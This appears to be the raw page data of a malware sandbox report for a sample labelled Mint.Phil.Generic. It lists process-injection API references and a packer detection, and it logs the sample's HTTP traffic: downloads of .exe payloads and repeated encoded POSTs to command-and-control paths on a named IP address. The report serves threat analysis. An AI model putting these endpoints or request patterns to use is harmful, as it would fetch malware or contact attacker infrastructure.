26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T498,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Phil.Generic Sample 2841aab00ee6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2841aab00ee6…. Malware family: Mint.Phil.Generic. Threat score 100/100. 9/28 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca","keywords":["Malicious","Mint.Phil.Generic","malware analysis","sandbox report","threat intelligence","2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Phil.Generic","antivirusDetections":{"malicious":9,"total":28},"behavioralIndicators":{"malicious":12,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T635,Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp")28:T5a8,Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp")29:Tc9c,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00002240.00000000.295442.01141000.00000020.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp")2a:T6ce,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "LoadLibraryEx failed" (Indicator: "LoadLibrary"; File: "00000000-00002240.00000000.295442.01141000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "2841aab00ee6f00213e594dc562d03b982e6d8570a6de2a0797f3a147665f4ca.bin") Found reference to API "LoadLibraryEx failed" (Indicator: "LoadLibrary"; Source: "00000000-00002240.00000000.295442.01141000.00000020.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002240.00000000.295442.011F3000.00000004.mdmp, 00000000-00002240.00000000.295442.05030000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00007816.00000000.295529.04ED0000.00000004.mdmp")2b:T60c," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:13:52 GMT Content-Type: application/octet-stream Content-Length: 12173317 Last-Modified: Sat 23 May 2026 11:40:28 GMT Connection: keep-alive ETag: "6a11922c-b9c005" Accept-Ranges: bytes with response body ==>4D5A50000200000004000F00C3BFC3BF0000C2B80000000000000040001A00000000000000000000000000000000000000000000000000000000000000000000....... "GET /uploads/mQGu8qFmddJB.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 62.60.226.159 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:12 GMT Content-Type: application/octet-stream Content-Length: 168960 Last-Modified: Sat 23 May 2026 11:57:16 GMT Connection: keep-alive ETag: "6a11961c-29400" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /uploads/qxNJj2MK2WvZ.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 62.60.226.159 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:16:11 GMT Content-Type: application/octet-stream Content-Length: 238080 Last-Modified: Sat 23 May 2026 11:55:38 GMT Connection: keep-alive ETag: "6a1195ba-3a200" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000.......41:Tfc8," "6#1)xsttrpt{tpr{" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>733E7174713E2A363632786D6D74706C74726C7070746C73777B6D37322E2D2326316D122D2E23302B3127261D746C757A7B756C707571766C767B71711D0B0C....... "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 91 Host: 62.60.226.159" with payload::==> "7+&sttrpt{tpr{d71'0d2!ozpd-1+,&-51bsrd4'0slzlpd0#/zs{sd#&/s" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with no response body "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 105 Host: 62.60.226.159" with payload::==> "6#1)+&qtqd7+&sttrpt{tpr{d16#671sd0'#1-,7!!'11xbx1'0122#6#-!#.'/2#s8)0%/tl':'" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:14:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with no response body "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 21 Host: 62.60.226.159" with payload::==> "6#1)xsttrpt{tpr{" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>733E7174763E2A363632786D6D74706C74726C7070746C73777B6D37322E2D2326316D2F1305377A33042F262608006C273A27....... "POST /api.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 105 Host: 62.60.226.159" with payload::==> "6#1)+&qtvd7+&sttrpt{tpr{d16#671sd0'#1-,7!!'11xbx1'0122#6#-!#.'/26&%0+8$sl':'" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 66 Cache-Control: no-cache" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:24 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l; path=/ Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:25 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:26 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:27 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:28 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:29 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:30 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:31 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:32 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body "POST /xvzpjyddlu/getdata.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 Host: 62.60.226.159 Content-Length: 80 Cache-Control: no-cache Cookie: PHPSESSID=hbbtkof1mnn62ug8dopgnedo0l" with payload::==> "c¥)¸§ Èþïà½ðÍ-wEõàPêß3¡·ÿQÆ\Öôóä>Ýuh¶_PèÏ`I÷ÄBe¤mÓô3øz±ÅÄÒA0#" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 23 May 2026 14:15:33 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Expires: Thu 19 Nov 1981 08:52:00 GMT Cache-Control: no-store no-cache must-revalidate Pragma: no-cache with no response body64:T417," BoB / BobSoft\"\n \"_setup64.tmp\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a11b605136cb155840b18e5"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"